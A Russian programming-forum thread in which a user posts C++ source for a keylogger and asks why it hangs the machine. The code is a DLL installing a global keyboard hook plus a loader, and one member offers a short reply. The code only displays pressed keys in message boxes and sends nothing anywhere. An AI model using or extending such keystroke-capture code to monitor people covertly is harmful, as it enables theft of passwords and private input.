Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Низкоуровневое программирование > Win Api
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 17.01.2014, 15:00   #1
alexey_kip
Форумчанин
 
Регистрация: 19.11.2011
Сообщений: 198
По умолчанию Кейлогер

100500 лет назад писал кейлоггер - работал, сейчас - не работает. Просто зависает весь комп и все. В чем проблема?

dllmain.cpp
Код:
#include "stdafx.h"
#include <string.h>
#include <stdio.h>


HOOKPROC hProc = NULL;
HHOOK hHook; 
HANDLE hmod;
HHOOK khook;
HMODULE hLib;
char BufStr0[19] = "";
char BufStr[19] = "";

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	hLib=hModule;
	return TRUE;
}

extern "C" __declspec(dllexport) 
LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam) 
{ 
	MessageBox(0,"","",0);
    if (nCode == HC_ACTION && !(lParam & 0x80000000))
    {
		GetKeyNameText(lParam,BufStr0,18);
		MessageBox(0,BufStr0,"Нажата клавиша",0);
		//MessageBox(0,BufStr,"Нажата клавиша",0);
    };
    return CallNextHookEx(0,nCode,wParam,lParam);
} 


extern "C" __declspec(dllexport) 
	void start(char *c)
{
	MessageBox(0,"OK","Нажата клавиша",0);
	strcpy(BufStr,c);
	hProc = (HOOKPROC)HookProc;
	hHook = SetWindowsHookEx(WH_KEYBOARD, hProc, hLib, NULL);
}

extern "C" __declspec(dllexport) 
	void finish()
{
	if(hHook) UnhookWindowsHookEx(hHook);
}
KeyLogger.cpp

Код:
#include "stdafx.h"
#include <conio.h>
#include <Windows.h>
#include <locale.h>

void (*start) (char*);
void (*finish) ();

int _tmain(int argc, _TCHAR* argv[])
{
	setlocale(0,"");
	HMODULE hLib = LoadLibrary(L"KeyLogLib");
	(FARPROC&) start=GetProcAddress(hLib,"start");
	(FARPROC&) finish=GetProcAddress(hLib,"finish");
	start("123");
	printf("Для выхода из программы нажмите 'q'");
	int s=0;
	while(s!='q');
		s=getch();
	finish();
	FreeLibrary(hLib);
	return 0;
}
alexey_kip вне форума Ответить с цитированием
Старый 19.01.2014, 18:50   #2
alexey_kip
Форумчанин
 
Регистрация: 19.11.2011
Сообщений: 198
По умолчанию

Никто не знает?
alexey_kip вне форума Ответить с цитированием
Старый 19.01.2014, 19:42   #3
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Может его не одобряют системы защиты твоего компа?
Или его нужно запускать в режиме совместимости с ХР...
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 19.01.2014, 23:21   #4
alexey_kip
Форумчанин
 
Регистрация: 19.11.2011
Сообщений: 198
По умолчанию

У кого-нибудь работает?
В дэбагере ставлю точку останова сюда
Код:
	printf("Для выхода из программы нажмите 'q'");
И программа работает как локальный кейлогер
alexey_kip вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Кейлогер на дельфи Generate Помощь студентам 2 29.12.2013 13:04
Посоветуйте Кейлогер sagitron Софт 0 19.12.2011 10:58
Хочу написать кейлогер wwe2012 Общие вопросы C/C++ 18 31.03.2011 07:56
Delphi, кейлогер Pactpo Помощь студентам 0 27.02.2011 17:21
Dev-C++. простой кейлогер dimitryK Общие вопросы C/C++ 9 08.01.2011 13:34